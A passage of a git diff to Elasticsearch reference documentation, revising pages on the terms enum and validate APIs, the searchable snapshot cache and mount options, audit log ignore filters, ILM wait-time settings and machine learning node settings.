to discover terms in the index that begin with the provided +string. It is designed for low-latency look-ups used in auto-complete scenarios. + + +[[search-terms-enum-api-path-params]] +==== {api-path-parms-title} + +``:: +(Required, string) Comma-separated list of data streams, indices, and aliases +to search. Supports wildcards (`*`). To search all data streams or indices, omit +this parameter or use `*` or `_all`. + +[[search-terms-enum-api-request-body]] +==== {api-request-body-title} + +[[terms-enum-field-param]] +`field`:: +(Mandatory, string) +Which field to match + +[[terms-enum-string-param]] +`string`:: +(Optional, string) +The string to match at the start of indexed terms. If not provided, all terms in the field +are considered. + +[[terms-enum-size-param]] +`size`:: +(Optional, integer) +How many matching terms to return. Defaults to 10 + +[[terms-enum-timeout-param]] +`timeout`:: +(Optional, <>) +The maximum length of time to spend collecting results. Defaults to "1s" (one second). +If the timeout is exceeded the `complete` flag set to false in the response and the results may +be partial or empty. + +[[terms-enum-case_insensitive-param]] +`case_insensitive`:: +(Optional, boolean) +When true the provided search string is matched against index terms without case sensitivity. +Defaults to false. + +[[terms-enum-index_filter-param]] +`index_filter`:: +(Optional, <> Allows to filter an index shard if the provided +query rewrites to `match_none`. + +[[terms-enum-search_after-param]] +`string`:: +(Optional, string) +The string after which terms in the index should be returned. Allows for a form of +pagination if the last result from one request is passed as the search_after +parameter for a subsequent request. + diff --git a/docs/reference/search/validate.asciidoc b/docs/reference/search/validate.asciidoc index 5dde3bc6a956e..528e24151c47c 100644 --- a/docs/reference/search/validate.asciidoc +++ b/docs/reference/search/validate.asciidoc @@ -23,7 +23,7 @@ GET my-index-000001/_validate/query?q=user.id:kimchy * If the {es} {security-features} are enabled, you must have the `read` <> for the target data stream, index, -or index alias. +or alias. [[search-validate-api-desc]] ==== {api-description-title} @@ -37,12 +37,9 @@ request body. ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases to search. -Wildcard (`*`) expressions are supported. -+ -To search all data streams or indices in a cluster, omit this parameter or use -`_all` or `*`. +(Optional, string) Comma-separated list of data streams, indices, and aliases to +search. Supports wildcards (`*`). To search all data streams or indices, omit +this parameter or use `*` or `_all`. include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=query] diff --git a/docs/reference/searchable-snapshots/apis/clear-cache.asciidoc b/docs/reference/searchable-snapshots/apis/clear-cache.asciidoc new file mode 100644 index 0000000000000..bc86e13282027 --- /dev/null +++ b/docs/reference/searchable-snapshots/apis/clear-cache.asciidoc @@ -0,0 +1,73 @@ +[role="xpack"] +[testenv="enterprise"] +[[searchable-snapshots-api-clear-cache]] +=== Clear cache API +++++ +Clear cache +++++ + +experimental::[] + +Clears indices and data streams from the shared cache for +<>. + +[[searchable-snapshots-api-clear-cache-request]] +==== {api-request-title} + +`POST /_searchable_snapshots/cache/clear` + +`POST //_searchable_snapshots/cache/clear` + +[[searchable-snapshots-api-clear-cache-prereqs]] +==== {api-prereq-title} + +If the {es} {security-features} are enabled, you must have the `manage` +<> to use this API. You must also +have the `manage` <> for the target +data stream, index, or alias. + +[[searchable-snapshots-api-clear-cache-path-params]] +==== {api-path-parms-title} + +``:: +(Optional, string) +Comma-separated list of data streams, indices, and aliases to clear from the +cache. Supports wildcards (`*`). To clear the entire cache, omit this parameter. + +[[searchable-snapshots-api-clear-cache-example]] +==== {api-examples-title} +//// +[source,console] +----------------------------------- +PUT /docs +{ + "settings" : { + "index.number_of_shards" : 1, + "index.number_of_replicas" : 0 + } +} + +PUT /_snapshot/my_repository/my_snapshot?wait_for_completion=true +{ + "include_global_state": false, + "indices": "docs" +} + +DELETE /docs + +POST /_snapshot/my_repository/my_snapshot/_mount?wait_for_completion=true +{ + "index": "docs", + "renamed_index": "my-index" +} +----------------------------------- +// TEST[setup:setup-repository] +//// + +Clears the cache of the index `my-index`: + +[source,console] +-------------------------------------------------- +POST /my-index/_searchable_snapshots/cache/clear +-------------------------------------------------- +// TEST[continued] diff --git a/docs/reference/searchable-snapshots/apis/mount-snapshot.asciidoc b/docs/reference/searchable-snapshots/apis/mount-snapshot.asciidoc index 9054a9b72f0c6..c762671f43d42 100644 --- a/docs/reference/searchable-snapshots/apis/mount-snapshot.asciidoc +++ b/docs/reference/searchable-snapshots/apis/mount-snapshot.asciidoc @@ -49,13 +49,17 @@ Defaults to `false`. `storage`:: + -experimental::[] -+ -(Optional, string) Selects the kind of local storage used to accelerate -searches of the mounted index. If `full_copy`, each node holding a shard of the -searchable snapshot index makes a full copy of the shard to its local storage. -If `shared_cache`, the shard uses the -<>. Defaults to `full_copy`. +-- +(Optional, string) +<> for the +{search-snap} index. Possible values are: + +`full_copy` (Default)::: +<>. + +`shared_cache`::: +<>. +-- [[searchable-snapshots-api-mount-request-body]] ==== {api-request-body-title} diff --git a/docs/reference/searchable-snapshots/apis/node-cache-stats.asciidoc b/docs/reference/searchable-snapshots/apis/node-cache-stats.asciidoc new file mode 100644 index 0000000000000..52a74487f8ee2 --- /dev/null +++ b/docs/reference/searchable-snapshots/apis/node-cache-stats.asciidoc @@ -0,0 +1,132 @@ +[role="xpack"] +[testenv="enterprise"] +[[searchable-snapshots-api-cache-stats]] +=== Cache stats API +++++ +Cache stats +++++ + +Retrieves statistics about the shared cache for <>. + +[[searchable-snapshots-api-cache-stats-request]] +==== {api-request-title} + +`GET /_searchable_snapshots/cache/stats` + + +`GET /_searchable_snapshots//cache/stats` + +[[searchable-snapshots-api-cache-stats-prereqs]] +==== {api-prereq-title} + +If the {es} {security-features} are enabled, you must have the +`manage` cluster privilege to use this API. +For more information, see <>. + +[[searchable-snapshots-api-cache-stats-path-params]] +==== {api-path-parms-title} + +``:: + (Optional, string) The names of particular nodes in the cluster to target. + For example, `nodeId1,nodeId2`. For node selection options, see + <>. + +[[searchable-snapshots-api-cache-stats-query-params]] +==== {api-query-parms-title} + +include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout] + +[role="child_attributes"] +[[searchable-snapshots-api-cache-stats-response-body]] +==== {api-response-body-title} + +`nodes`:: +(object) +Contains statistics for the nodes selected by the request. ++ +.Properties of `nodes` +[%collapsible%open] +==== +``:: +(object) +Contains statistics for the node with the given identifier. ++ +.Properties of `` +[%collapsible%open] +===== +`shared_cache`:: +(object) +Contains statistics about the shared cache file. ++ +.Properties of `shared_cache` +[%collapsible%open] +====== +`reads`:: +(long) Number of times the shared cache is used to read data from. + +`bytes_read_in_bytes`:: +(long) The total of bytes read from the shared cache. + +`writes`:: +(long) Number of times data from the blob store repository is written in the shared cache. + +`bytes_written_in_bytes`:: +(long) The total of bytes written in the shared cache. + +`evictions`:: +(long) Number of regions evicted from the shared cache file. + +`num_regions`:: +(integer) Number of regions in the shared cache file. + +`size_in_bytes`:: +(long) The total size in bytes of the shared cache file. + +`region_size_in_bytes`:: +(long) The size in bytes of a region in the shared cache file. +====== +===== +==== + + +[[searchable-snapshots-api-cache-stats-example]] +==== {api-examples-title} + +Gets the statistics about the shared cache for partially mounted indices from +all data nodes: + +[source,console] +-------------------------------------------------- +GET /_searchable_snapshots/cache/stats +-------------------------------------------------- +// TEST[setup:node] + +The API returns the following response: + +[source,console-result] +---- +{ + "nodes" : { + "eerrtBMtQEisohZzxBLUSw" : { + "shared_cache" : { + "reads" : 6051, + "bytes_read_in_bytes" : 5448829, + "writes" : 37, + "bytes_written_in_bytes" : 1208320, + "evictions" : 5, + "num_regions" : 65536, + "size_in_bytes" : 1099511627776, + "region_size_in_bytes" : 16777216 + } + } + } +} +---- +// TESTRESPONSE[s/"reads" : 6051/"reads" : 0/] +// TESTRESPONSE[s/"bytes_read_in_bytes" : 5448829/"bytes_read_in_bytes" : 0/] +// TESTRESPONSE[s/"writes" : 37/"writes" : 0/] +// TESTRESPONSE[s/"bytes_written_in_bytes" : 1208320/"bytes_written_in_bytes" : 0/] +// TESTRESPONSE[s/"evictions" : 5/"evictions" : 0/] +// TESTRESPONSE[s/"num_regions" : 65536/"num_regions" : 0/] +// TESTRESPONSE[s/"size_in_bytes" : 1099511627776/"size_in_bytes" : 0/] +// TESTRESPONSE[s/"eerrtBMtQEisohZzxBLUSw"/\$node_name/] diff --git a/docs/reference/searchable-snapshots/apis/searchable-snapshots-apis.asciidoc b/docs/reference/searchable-snapshots/apis/searchable-snapshots-apis.asciidoc index 24e35db88c2fe..4db6aed6da54e 100644 --- a/docs/reference/searchable-snapshots/apis/searchable-snapshots-apis.asciidoc +++ b/docs/reference/searchable-snapshots/apis/searchable-snapshots-apis.asciidoc @@ -6,5 +6,11 @@ You can use the following APIs to perform searchable snapshots operations. * <> +* <> +* <> +* <> include::mount-snapshot.asciidoc[] +include::node-cache-stats.asciidoc[] +include::shard-stats.asciidoc[] +include::clear-cache.asciidoc[] diff --git a/docs/reference/searchable-snapshots/apis/shard-stats.asciidoc b/docs/reference/searchable-snapshots/apis/shard-stats.asciidoc new file mode 100644 index 0000000000000..4c4ad7bb1670a --- /dev/null +++ b/docs/reference/searchable-snapshots/apis/shard-stats.asciidoc @@ -0,0 +1,77 @@ +[role="xpack"] +[testenv="enterprise"] +[[searchable-snapshots-api-stats]] +=== Searchable snapshot statistics API +++++ +Searchable snapshot statistics +++++ + +experimental::[] + +Retrieves statistics about searchable snapshots. + +[[searchable-snapshots-api-stats-request]] +==== {api-request-title} + +`GET /_searchable_snapshots/stats` + +`GET //_searchable_snapshots/stats` + +[[searchable-snapshots-api-stats-prereqs]] +==== {api-prereq-title} + +If the {es} {security-features} are enabled, you must have the `manage` +<> to use this API. You must also +have the `manage` <> for the target +data stream or index. + +[[searchable-snapshots-api-stats-desc]] +==== {api-description-title} + + +[[searchable-snapshots-api-stats-path-params]] +==== {api-path-parms-title} + +``:: +(Optional, string) +Comma-separated list of data streams and indices to retrieve statistics for. To +retrieve statistics for all data streams and indices, omit this parameter. + + +[[searchable-snapshots-api-stats-example]] +==== {api-examples-title} +//// +[source,console] +----------------------------------- +PUT /docs +{ + "settings" : { + "index.number_of_shards" : 1, + "index.number_of_replicas" : 0 + } +} + +PUT /_snapshot/my_repository/my_snapshot?wait_for_completion=true +{ + "include_global_state": false, + "indices": "docs" +} + +DELETE /docs + +POST /_snapshot/my_repository/my_snapshot/_mount?wait_for_completion=true +{ + "index": "docs", + "renamed_index": "my-index" +} +----------------------------------- +// TEST[setup:setup-repository] +//// + +Retrieves the statistics of the index `my-index`: + +[source,console] +-------------------------------------------------- +GET /my-index/_searchable_snapshots/stats +-------------------------------------------------- +// TEST[continued] diff --git a/docs/reference/searchable-snapshots/index.asciidoc b/docs/reference/searchable-snapshots/index.asciidoc index e638d92136101..10f1986aa273a 100644 --- a/docs/reference/searchable-snapshots/index.asciidoc +++ b/docs/reference/searchable-snapshots/index.asciidoc @@ -1,29 +1,21 @@ [[searchable-snapshots]] == {search-snaps-cap} -{search-snaps-cap} let you reduce your operating costs by using -<> for resiliency rather than maintaining -<> within a cluster. When you mount an index from a -snapshot as a {search-snap}, {es} copies the index shards to local storage -within the cluster. This ensures that search performance is comparable to -searching any other index, and minimizes the need to access the snapshot -repository. Should a node fail, shards of a {search-snap} index are -automatically recovered from the snapshot repository. - -This can result in significant cost savings for less frequently searched data. -With {search-snaps}, you no longer need an extra index shard copy to avoid data -loss, potentially halving the node local storage capacity necessary for -searching that data. Because {search-snaps} rely on the same snapshot mechanism -you use for backups, they have a minimal impact on your snapshot repository -storage costs. +{search-snaps-cap} let you use <> to search +infrequently accessed and read-only data in a very cost-effective fashion. The +<> and <> data tiers use {search-snaps} to +reduce your storage and operating costs. + +{search-snaps-cap} eliminate the need for <>, +potentially halving the local storage needed to search your data. +{search-snaps-cap} rely on the same snapshot mechanism you already use for +backups and have minimal impact on your snapshot repository storage costs. [discrete] [[using-searchable-snapshots]] === Using {search-snaps} Searching a {search-snap} index is the same as searching any other index. -Search performance is comparable to regular indices because the shard data is -copied onto nodes in the cluster when the {search-snap} is mounted. By default, {search-snap} indices have no replicas. The underlying snapshot provides resilience and the query volume is expected to be low enough that a @@ -31,36 +23,43 @@ single shard copy will be sufficient. However, if you need to support a higher query volume, you can add replicas by adjusting the `index.number_of_replicas` index setting. -If a node fails and {search-snap} shards need to be restored from the snapshot, -there is a brief window of time while {es} allocates the shards to other nodes -where the cluster health will not be `green`. Searches that hit these shards -will fail or return partial results until the shards are reallocated to healthy -nodes. +If a node fails and {search-snap} shards need to be recovered elsewhere, there +is a brief window of time while {es} allocates the shards to other nodes where +the cluster health will not be `green`. Searches that hit these shards may fail +or return partial results until the shards are reallocated to healthy nodes. You typically manage {search-snaps} through {ilm-init}. The <> action automatically converts -a regular index into a {search-snap} index when it reaches the `cold` phase. -You can also make indices in existing snapshots searchable by manually mounting -them as {search-snap} indices with the -<> API. +a regular index into a {search-snap} index when it reaches the `cold` or +`frozen` phase. You can also make indices in existing snapshots searchable by +manually mounting them using the <> API. To mount an index from a snapshot that contains multiple indices, we recommend creating a <> of the snapshot that contains only the index you want to search, and mounting the clone. You should not delete a snapshot if it has any mounted indices, so creating a clone enables you to manage the lifecycle of the backup snapshot independently of any -{search-snaps}. +{search-snaps}. If you use {ilm-init} to manage your {search-snaps} then it +will automatically look after cloning the snapshot as needed. You can control the allocation of the shards of {search-snap} indices using the same mechanisms as for regular indices. For example, you could use <> to restrict {search-snap} shards to a subset of your nodes. +The speed of recovery of a {search-snap} index is limited by the repository +setting `max_restore_bytes_per_sec` and the node setting +`indices.recovery.max_bytes_per_sec` just like a normal restore operation. By +default `max_restore_bytes_per_sec` is unlimited, but the default for +`indices.recovery.max_bytes_per_sec` depends on the configuration of the node. +See <>. + We recommend that you <> indices to a single segment per shard before taking a snapshot that will be mounted as a {search-snap} index. Each read from a snapshot repository takes time and costs money, and the fewer segments there are the fewer reads are needed to restore -the snapshot. +the snapshot or to respond to a search. [TIP] ==== @@ -72,33 +71,133 @@ For more complex or time-consuming searches, you can use <> with {search-snaps}. ==== +[[searchable-snapshots-repository-types]] +// tag::searchable-snapshot-repo-types[] +Use any of the following repository types with searchable snapshots: + +* {plugins}/repository-s3.html[AWS S3] +* {plugins}/repository-gcs.html[Google Cloud Storage] +* {plugins}/repository-azure.html[Azure Blob Storage] +* {plugins}/repository-hdfs.html[Hadoop Distributed File Store (HDFS)] +* <> such as NFS +* <> + +You can also use alternative implementations of these repository types, for +instance +{plugins}/repository-s3-client.html#repository-s3-compatible-services[Minio], +as long as they are fully compatible. Use the <> API +to analyze your repository's suitability for use with searchable snapshots. +// end::searchable-snapshot-repo-types[] + [discrete] [[how-searchable-snapshots-work]] === How {search-snaps} work When an index is mounted from a snapshot, {es} allocates its shards to data -nodes within the cluster. The data nodes then automatically restore the shard -data from the repository onto local storage. Once the restore process -completes, these shards respond to searches using the data held in local -storage and do not need to access the repository. This avoids incurring the -cost or performance penalty associated with reading data from the repository. - -If a node holding one of these shards fails, {es} automatically allocates it to -another node, and that node restores the shard data from the repository. No -replicas are needed, and no complicated monitoring or orchestration is -necessary to restore lost shards. - -{es} restores {search-snap} shards in the background and you can search them -even if they have not been fully restored. If a search hits a {search-snap} -shard before it has been fully restored, {es} eagerly retrieves the data needed -for the search. If a shard is freshly allocated to a node and still warming up, -some searches will be slower. However, searches typically access a very small -fraction of the total shard data so the performance penalty is typically small. - -Replicas of {search-snaps} shards are restored by copying data from the -snapshot repository. In contrast, replicas of regular indices are restored by +nodes within the cluster. The data nodes then automatically retrieve the +relevant shard data from the repository onto local storage, based on the +<> specified. If +possible, searches use data from local storage. If the data is not available +locally, {es} downloads the data that it needs from the snapshot repository. + +If a node holding one of these shards fails, {es} automatically allocates the +affected shards on another node, and that node restores the relevant shard data +from the repository. No replicas are needed, and no complicated monitoring or +orchestration is necessary to restore lost shards. Although searchable snapshot +indices have no replicas by default, you may add replicas to these indices by +adjusting `index.number_of_replicas`. Replicas of {search-snap} shards are +recovered by copying data from the snapshot repository, just like primaries of +{search-snap} shards. In contrast, replicas of regular indices are restored by copying data from the primary. +[discrete] +[[searchable-snapshot-mount-storage-options]] +==== Mount options + +To search a snapshot, you must first mount it locally as an index. Usually +{ilm-init} will do this automatically, but you can also call the +<> API yourself. There +are two options for mounting an index from a snapshot, each with different +performance characteristics and local storage footprints: + +[[fully-mounted]] +Fully mounted index:: +Loads a full copy of the snapshotted index's shards onto node-local storage +within the cluster. {ilm-init} uses this option in the `hot` and `cold` phases. ++ +Search performance for a fully mounted index is normally +comparable to a regular index, since there is minimal need to access the +snapshot repository. While recovery is ongoing, search performance may be +slower than with a regular index because a search may need some data that has +not yet been retrieved into the local copy. If that happens, {es} will eagerly +retrieve the data needed to complete the search in parallel with the ongoing +recovery. + +[[partially-mounted]] +Partially mounted index:: +Uses a local cache containing only recently searched parts of the snapshotted +index's data. This cache has a fixed size and is shared across nodes in the +frozen tier. {ilm-init} uses this option in the `frozen` phase. ++ +If a search requires data that is not in the cache, {es} fetches the missing +data from the snapshot repository. Searches that require these fetches are +slower, but the fetched data is stored in the cache so that similar searches +can be served more quickly in future. {es} will evict infrequently used data +from the cache to free up space. ++ +Although slower than a fully mounted index or a regular index, a +partially mounted index still returns search results quickly, even for +large data sets, because the layout of data in the repository is heavily +optimized for search. Many searches will need to retrieve only a small subset of +the total shard data before returning results. + +To partially mount an index, you must have one or more nodes with a shared cache +available. By default, dedicated frozen data tier nodes (nodes with the +`data_frozen` role and no other data roles) have a shared cache configured using +the greater of 90% of total disk space and total disk space subtracted a +headroom of 100GB. + +Using a dedicated frozen tier is highly recommended for production use. If you +do not have a dedicated frozen tier, you must configure the +`xpack.searchable.snapshot.shared_cache.size` setting to reserve space for the +cache on one or more nodes. Partially mounted indices +are only allocated to nodes that have a shared cache. + +[[searchable-snapshots-shared-cache]] +`xpack.searchable.snapshot.shared_cache.size`:: +(<>) +Disk space reserved for the shared cache of partially mounted indices. +Accepts a percentage of total disk space or an absolute <>. Defaults to `90%` of total disk space for dedicated frozen data tier +nodes. Otherwise defaults to `0b`. + +`xpack.searchable.snapshot.shared_cache.size.max_headroom`:: +(<>, <>) +For dedicated frozen tier nodes, the max headroom to maintain. If +`xpack.searchable.snapshot.shared_cache.size` is not explicitly set, this +setting defaults to `100GB`. Otherwise it defaults to `-1` (not set). You can +only configure this setting if `xpack.searchable.snapshot.shared_cache.size` is +set as a percentage. + +To illustrate how these settings work in concert let us look at two examples +when using the default values of the settings on a dedicated frozen node: + +* A 4000 GB disk will result in a shared cache sized at 3900 GB. 90% of 4000 GB +is 3600 GB, leaving 400 GB headroom. The default `max_headroom` of 100 GB +takes effect, and the result is therefore 3900 GB. +* A 400 GB disk will result in a shared cache sized at 360 GB. + +You can configure the settings in `elasticsearch.yml`: + +[source,yaml] +---- +xpack.searchable.snapshot.shared_cache.size: 4TB +---- + +IMPORTANT: You can only configure these settings on nodes with the +<> role. Additionally, nodes with a shared +cache can only have a single <>. + [discrete] [[back-up-restore-searchable-snapshots]] === Back up and restore {search-snaps} @@ -134,20 +233,3 @@ at rest in the repository. The blob storage offered by all major public cloud providers typically offers very good protection against data loss or corruption. If you manage your own repository storage then you are responsible for its reliability. - -[discrete] -[[searchable-snapshots-shared-cache]] -=== Shared snapshot cache - -experimental::[] - -By default a {search-snap} copies the whole snapshot into the local cluster as -described above. You can also configure a shared snapshot cache which is used -to hold a copy of just the frequently-accessed parts of shards of indices which -are mounted with `?storage=shared_cache`. If you configure a node to have a -shared cache then that node will reserve space for the cache when it starts up. - -`xpack.searchable.snapshot.shared_cache.size`:: -(<>, <>) -The size of the space reserved for the shared cache. Defaults to `0b`, meaning -that the node has no shared cache. diff --git a/docs/reference/settings/audit-settings.asciidoc b/docs/reference/settings/audit-settings.asciidoc index a293444e2a259..280078fbe4b1c 100644 --- a/docs/reference/settings/audit-settings.asciidoc +++ b/docs/reference/settings/audit-settings.asciidoc @@ -149,6 +149,15 @@ A list of authentication realm names or wildcards. The specified policy will not print audit events for users in these realms. // end::xpack-sa-lf-events-ignore-realms-tag[] +[[xpack-sa-lf-events-ignore-actions]] +// tag::xpack-sa-lf-events-ignore-actions-tag[] +`xpack.security.audit.logfile.events.ignore_filters..actions`:: +(<>) +A list of action names or wildcards. Action name can be found in the `action` +field of the audit event. The specified policy will not print audit events +for actions matching these values. +// end::xpack-sa-lf-events-ignore-actions-tag[] + [[xpack-sa-lf-events-ignore-roles]] // tag::xpack-sa-lf-events-ignore-roles-tag[] `xpack.security.audit.logfile.events.ignore_filters..roles`:: diff --git a/docs/reference/settings/ilm-settings.asciidoc b/docs/reference/settings/ilm-settings.asciidoc index eda057e972ca6..c94809f886db2 100644 --- a/docs/reference/settings/ilm-settings.asciidoc +++ b/docs/reference/settings/ilm-settings.asciidoc @@ -59,6 +59,13 @@ An index that was rolled over would normally match the full format, for example `logs-2016.10.31-000002`). If the index name doesn't match the pattern, index creation fails. +[[index-lifecycle-step-wait-time-threshold]] +`index.lifecycle.step.wait_time_threshold`:: +(<>, <>) +Time to wait for the cluster to resolve allocation issues during an {ilm-init} +<> action. Must be greater than `1h` (1 hour). Defaults to +`12h` (12 hours). See <>. + `index.lifecycle.rollover_alias`:: (<>, string) The index alias to update when the index rolls over. Specify when using a diff --git a/docs/reference/settings/ml-settings.asciidoc b/docs/reference/settings/ml-settings.asciidoc index 733c7606b9dbe..80ba1216eea90 100644 --- a/docs/reference/settings/ml-settings.asciidoc +++ b/docs/reference/settings/ml-settings.asciidoc @@ -56,18 +56,20 @@ coordinating nodes. (<>) The maximum inference cache size allowed. The inference cache exists in the JVM heap on each ingest node. The cache affords faster processing times for the `inference` processor. The value can be -a static byte sized value (i.e. "2gb") or a percentage of total allocated heap. -The default is "40%". See also <>. +a static byte sized value (such as `2gb`) or a percentage of total allocated +heap. Defaults to `40%`. See also <>. [[xpack-interference-model-ttl]] // tag::interference-model-ttl-tag[] `xpack.ml.inference_model.time_to_live` {ess-icon}:: -(<>) The time to live (TTL) for models in the -inference model cache. The TTL is calculated from last access. The `inference` -processor attempts to load the model from cache. If the `inference` processor -does not receive any documents for the duration of the TTL, the referenced model -is flagged for eviction from the cache. If a document is processed later, the -model is again loaded into the cache. Defaults to `5m`. +(<>) The time to live (TTL) for trained models in +the inference model cache. The TTL is calculated from last access. Users of the +cache (such as the inference processor or inference aggregator) cache a model on +its first use and reset the TTL on every use. If a cached model is not accessed +for the duration of the TTL, it is flagged for eviction from the cache. If a +document is processed later, the model is again loaded into the cache. To update +this setting in {ess}, see +{cloud}/ec-add-user-settings.html[Add {es} user settings]. Defaults to `5m`. // end::interference-model-ttl-tag[] `xpack.ml.max_inference_processors`:: @@ -77,46 +79,63 @@ adding an `inference` processor to a pipeline is disallowed. Defaults to `50`. `xpack.ml.max_machine_memory_percent`:: (<>) The maximum percentage of the machine's -memory that {ml} may use for running analytics processes. (These processes are -separate to the {es} JVM.) Defaults to `30` percent. The limit is based on the -total memory of the machine, not current free memory. Jobs are not allocated to -a node if doing so would cause the estimated memory use of {ml} jobs to exceed -the limit. +memory that {ml} may use for running analytics processes. These processes are +separate to the {es} JVM. The limit is based on the total memory of the machine, +not current free memory. Jobs are not allocated to a node if doing so would +cause the estimated memory use of {ml} jobs to exceed the limit. When the +{operator-feature} is enabled, this setting can be updated only by operator +users. The minimum value is `5`; the maximum value is `200`. Defaults to `30`. ++ +-- +TIP: Do not configure this setting to a value higher than the amount of memory +left over after running the {es} JVM unless you have enough swap space to +accommodate it and have determined this is an appropriate configuration for a +specialist use case. The maximum setting value is for the special case where it +has been determined that using swap space for {ml} jobs is acceptable. The +general best practice is to not use swap on {es} nodes. + +-- `xpack.ml.max_model_memory_limit`:: (<>) The maximum `model_memory_limit` property -value that can be set for any job on this node. If you try to create a job with -a `model_memory_limit` property value that is greater than this setting value, -an error occurs. Existing jobs are not affected when you update this setting. -For more information about the `model_memory_limit` property, see -<>. +value that can be set for any {ml} jobs in this cluster. If you try to create a +job with a `model_memory_limit` property value that is greater than this setting +value, an error occurs. Existing jobs are not affected when you update this +setting. If this setting is `0` or unset, there is no maximum +`model_memory_limit` value. If there are no nodes that meet the memory +requirements for a job, this lack of a maximum memory limit means it's possible +to create jobs that cannot be assigned to any available nodes. For more +information about the `model_memory_limit` property, see +<> or <>. Defaults to `0`. [[xpack.ml.max_open_jobs]] `xpack.ml.max_open_jobs`:: (<>) The maximum number of jobs that can run -simultaneously on a node. Defaults to `20`. In this context, jobs include both -{anomaly-jobs} and {dfanalytics-jobs}. The maximum number of jobs is also -constrained by memory usage. Thus if the estimated memory usage of the jobs -would be higher than allowed, fewer jobs will run on a node. Prior to version -7.1, this setting was a per-node non-dynamic setting. It became a cluster-wide -dynamic setting in version 7.1. As a result, changes to its value after node -startup are used only after every node in the cluster is running version 7.1 or -higher. The maximum permitted value is `512`. +simultaneously on a node. In this context, jobs include both {anomaly-jobs} and +{dfanalytics-jobs}. The maximum number of jobs is also constrained by memory +usage. Thus if the estimated memory usage of the jobs would be higher than +allowed, fewer jobs will run on a node. Prior to version 7.1, this setting was a +per-node non-dynamic setting. It became a cluster-wide dynamic setting in +version 7.1. As a result, changes to its value after node startup are used only +after every node in the cluster is running version 7.1 or higher. The minimum +value is `1`; the maximum value is `512`. Defaults to `512`. `xpack.ml.nightly_maintenance_requests_per_second`:: -(<>) The rate at which the nightly maintenance task -deletes expired model snapshots and results. The setting is a proxy to the -[requests_per_second](https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-delete-by-query.html#_throttling_delete_requests) -parameter used in the Delete by query requests and controls throttling. -Valid values must be greater than `0.0` or equal to `-1.0` where `-1.0` means a default value -is used. Defaults to `-1.0` +(<>) The rate at which the nightly maintenance +task deletes expired model snapshots and results. The setting is a proxy to the +<> parameter used in the +delete by query requests and controls throttling. When the {operator-feature} is +enabled, this setting can be updated only by operator users. Valid values must +be greater than `0.0` or equal to `-1.0`, where `-1.0` means a default value is +used. Defaults to `-1.0` `xpack.ml.node_concurrent_job_allocations`:: (<>) The maximum number of jobs that can concurrently be in the `opening` state on each node. Typically, jobs spend a small amount of time in this state before they move to `open` state. Jobs that must restore large models when they are opening spend more time in the `opening` -state. Defaults to `2`. +state. When the {operator-feature} is enabled, this setting can be updated only +by operator users. Defaults to `2`. [discrete] [[advanced-ml-settings]] @@ -126,22 +145,24 @@ These settings are for advanced use cases; the default values are generally sufficient: `xpack.ml.enable_config_migration`:: -(<>) Reserved. +(<>) Reserved. When the {operator-feature} is +enabled, this setting can be updated only by operator users. `xpack.ml.max_anomaly_records`:: (<>) The maximum number of records that are -output per bucket. The default value is `500`. +output per bucket. Defaults to `500`. `xpack.ml.max_lazy_ml_nodes`:: (<>) The number of lazily spun up {ml} nodes. Useful in situations where {ml} nodes are not desired until the first {ml} job -opens. It defaults to `0` and has a maximum acceptable value of `3`. If the -current number of {ml} nodes is greater than or equal to this setting, it is -assumed that there are no more lazy nodes available as the desired number -of nodes have already been provisioned. If a job is opened and this setting has -a value greater than zero and there are no nodes that can accept the job, the -job stays in the `OPENING` state until a new {ml} node is added to the cluster -and the job is assigned to run on that node. +opens. If the current number of {ml} nodes is greater than or equal to this +setting, it is assumed that there are no more lazy nodes available as the +desired number of nodes have already been provisioned. If a job is opened and +this setting has a value greater than zero and there are no nodes that can +accept the job, the job stays in the `OPENING` state until a new {ml} node is +added to the cluster and the job is assigned to run on that node. When the +{operator-feature} is enabled, this setting can be updated only by operator +users. Defaults to `0`. + IMPORTANT: This setting assumes some external process is capable of adding {ml} nodes to the cluster. This setting is only useful when used in conjunction with @@ -150,54 +171,67 @@ such an external process. `xpack.ml.max_ml_node_size`:: (<>) The maximum node size for {ml} nodes in a deployment that supports automatic -cluster scaling. Defaults to `0b`, which means this value is ignored. If you set -it to the maximum possible size of future {ml} nodes, when a {ml} job is -assigned to a lazy node it can check (and fail quickly) when scaling cannot -support the size of the job. +cluster scaling. If you set it to the maximum possible size of future {ml} nodes, +when a {ml} job is assigned to a lazy node it can check (and fail quickly) when +scaling cannot support the size of the job. When the {operator-feature} is +enabled, this setting can be updated only by operator users. Defaults to `0b`, +which means it will be assumed that automatic cluster scaling can add arbitrarily large nodes to the cluster. + +`xpack.ml.persist_results_max_retries`:: +(<>) The maximum number of times to retry bulk +indexing requests that fail while processing {ml} results. If the limit is +reached, the {ml} job stops processing data and its status is `failed`. When the +{operator-feature} is enabled, this setting can be updated only by operator +users. The minimum value is `0`; the maximum value is `50`. Defaults to `20`. `xpack.ml.process_connect_timeout`:: (<>) The connection timeout for {ml} processes -that run separately from the {es} JVM. Defaults to `10s`. Some {ml} processing -is done by processes that run separately to the {es} JVM. When such processes -are started they must connect to the {es} JVM. If such a process does not -connect within the time period specified by this setting then the process is -assumed to have failed. Defaults to `10s`. The minimum value for this setting is -`5s`. - -xpack.ml.use_auto_machine_memory_percent:: +that run separately from the {es} JVM. When such processes are started they must +connect to the {es} JVM. If the process does not connect within the time period +specified by this setting then the process is assumed to have failed. When the +{operator-feature} is enabled, this setting can be updated only by operator +users. The minimum value is `5s`. Defaults to `10s`. + +`xpack.ml.use_auto_machine_memory_percent`:: (<>) If this setting is `true`, the `xpack.ml.max_machine_memory_percent` setting is ignored. Instead, the maximum percentage of the machine's memory that can be used for running {ml} analytics processes is calculated automatically and takes into account the total node size -and the size of the JVM on the node. The default value is `false`. If this -setting differs between nodes, the value on the current master node is heeded. +and the size of the JVM on the node. If this setting differs between nodes, the +value on the current master node is heeded. When the {operator-feature} is +enabled, this setting can be updated only by operator users. The default value +is `false`. + -TIP: If you do not have dedicated {ml} nodes (that is to say, the node has +-- +[IMPORTANT] +==== +* If you do not have dedicated {ml} nodes (that is to say, the node has multiple roles), do not enable this setting. Its calculations assume that {ml} analytics are the main purpose of the node. -+ -IMPORTANT: The calculation assumes that dedicated {ml} nodes have at least +* The calculation assumes that dedicated {ml} nodes have at least `256MB` memory reserved outside of the JVM. If you have tiny {ml} nodes in your cluster, you shouldn't use this setting. +==== +-- 